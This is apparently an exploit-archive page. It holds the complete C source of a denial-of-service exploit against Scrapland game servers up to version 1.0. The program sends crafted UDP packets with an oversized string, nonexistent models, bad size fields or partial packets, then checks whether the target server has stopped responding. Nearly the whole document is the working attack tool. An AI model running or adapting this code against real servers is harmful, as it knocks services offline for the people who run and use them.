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Scrapland <= 1.0 Server Termination Denial of Service Exploit
============================================================= Scrapland <= 1.0 Server Termination Denial of Service Exploit ============================================================= /* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #ifdef WIN32 #include <winsock.h> /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include <string.h> #include <errno.h> void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #define ONESEC 1000 #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #define ONESEC 1 #endif #define VER "0.1" #define BUFFSZ 2048 #define PORT 28086 #define TIMEOUT 3 #define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \ < 0) std_err(); #define RECV if(timeout(sd) < 0) { \ fputs("\nError: socket timeout, no reply received\n\n", stdout); \ exit(1); \ } \ len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \ if(len < 0) std_err(); #define ADDSHORT(x) *(u_short *)p = x; \ p += 2; #define ADDLONG(x) *(u_long *)p = x; \ p += 4; #define ADDTEXT(x) *p++ = sizeof(x) - 1; \ memcpy(p, x, sizeof(x) - 1); \ p += sizeof(x) - 1; int timeout(int sock); u_long resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len; u_short port = PORT; u_char buff[BUFFSZ], info[] = "\x7f" "\x01\x00" "\x00\x07", pck[] = "\x7f" "\x00\x00" "\x00\x00" "\x00", *p; setbuf(stdout, NULL); fputs("\n" "Scrapland <= 1.0 server termination "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s <attack> <host> [port(%d)]\n" "\n" "Attack:\n" " 1 = big text string (size>SSize)\n" " 2 = unexistent models (you can test this bug also modifying scrap.cfg)\n" " 3 = newpos<=size\n" " 4 = partial packet after small packet (1 or 2 bytes)\n" "\n", argv[0], port); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif if(argc > 3) port = atoi(argv[3]); peer.sin_addr.s_addr = resolv(argv[2]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); fputs("- request informations\n", stdout); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); SEND(info, sizeof(info) - 1); RECV; printf("\n Server name %s\n", buff + 10); printf(" Players %d / %d\n\n", *(u_short *)(buff + 8), *(u_short *)(buff + 6)); if(*(u_short *)(buff + 8) == *(u_short *)(buff + 6)) { fputs("- Alert: the server is full so this attack will fail\n\n", stdout); } fputs("- send BOOM packet\n", stdout); switch(atoi(argv[1])) { case 1: { pck[5] = 0xff; // major than 0x7f *(u_short *)(pck + 1) = sizeof(pck) - 4; SEND(pck, sizeof(pck) - 1); } break; case 2: { p = buff; *p++ = 0x7f; p += 2; // data size ADDSHORT(0); // don't know, pck related? ADDTEXT("Unnamed Player"); // PlayerName ADDTEXT("unexistent"); // PlayerModel ADDSHORT(65); // PlayerMaxLife ADDTEXT("unexistent"); // PilotModel ADDTEXT("unexistent"); // Motor0Model ADDTEXT("unexistent"); // Motor1Model ADDTEXT("unexistent"); // Motor2Model ADDTEXT("unexistent"); // Motor3Model ADDTEXT("1,3,0,0,1,0,1"); // WeaponBayList ADDLONG(0); // PlayerTeamID *(u_short *)(buff + 1) = (p - buff) - 3; SEND(buff, p - buff); } break; case 3: { *(u_short *)(pck + 1) = 1; // major than 0 SEND(pck, 5); } break; case 4: { SEND(pck, 1); sleep(ONESEC); *(u_short *)(pck + 1) = 0; SEND(pck, 3); } break; default: { fputs("\nError: wrong attack selected\n\n", stdout); exit(1); } } fputs("- check server:\n", stdout); SEND(info, sizeof(info) - 1); if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable\n\n", stdout); } close(sd); return(0); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif # 0day.today [2024-11-16] #